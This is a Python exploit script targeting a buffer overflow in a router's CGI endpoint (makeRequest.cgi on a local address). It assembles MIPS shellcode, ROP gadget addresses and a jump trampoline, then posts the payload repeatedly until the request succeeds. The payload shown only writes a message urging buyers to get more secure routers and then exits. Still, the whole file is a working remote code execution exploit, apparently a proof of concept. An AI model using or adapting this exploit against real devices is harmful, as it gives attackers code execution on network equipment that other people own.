#!/usr/bin/python3

import requests, struct

# All of this code overflows a buffer that is of length 512.

# The attack shellcode:
# addiu   $sp, $ra, 0x11A
# li      $v0, 4004
# li      $a0, 1
# move    $a1, $sp
# li      $a2, 1000
# syscall                 ; write(1, $sp, 1000)
# nop
# nop
# li      $v0, 4001
# xor     $a0, $a0, $a0
# syscall                 ; exit(0)
# nop
# nop

ATTACK_0 = b"\x1a\x01\xfd\x27\xa4\x0f\x02\x24\x01\x00\x04\x24\x25\x28\xa0\x03\x80\x00\x06\x24\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa1\x0f\x02\x24\x26\x20\x84\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
ATTACK_0 += b"\x00" * (0x11A - len(ATTACK_0))

# The attack data
ATTACK_11A = "Please buy more secure routers!".encode("utf8")
ATTACK_11A += b"\x00" * (0x11A - len(ATTACK_11A))

# Address to jump to for the first ROP gadget
ATTACK_234 = 0x4050d8
ATTACK_238 = ("\x00"*0x94).encode("utf-8")

# Second address to jump to for the second ROP gadget
ATTACK_2CC = 0x40214c

# Padding
ATTACK_2D0 = ("\x00"*0x20).encode("utf-8")

# Shellcode to jump to the attack:
# addiu   $ra,$ra,-752
# jr      $ra
ATTACK_2F0 = b"\x10\xfd\xff\x27\x08\x00\xe0\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

# Pack it into a python struct
my_bytes = struct.pack(f"{len(ATTACK_0)}s{len(ATTACK_11A)}sI{len(ATTACK_238)}sI{len(ATTACK_2D0)}s{len(ATTACK_2F0)}s", ATTACK_0, ATTACK_11A, ATTACK_234, ATTACK_238, ATTACK_2CC, ATTACK_2D0, ATTACK_2F0)

# Make the web request
r = requests.post('http://192.168.10.1/cgi-bin/makeRequest.cgi', data=my_bytes)

# Submit multiple requests if attack is not successful
# Seems as the stack is not as deterministic as we thought.
# Some requests will jump to a different stack location.
while r.status_code is not 200:
    r = requests.post('http://192.168.10.1/cgi-bin/makeRequest.cgi', data=my_bytes)

print("Successfully executed payload.")
print(f"Server responded \"{r.text}\"")
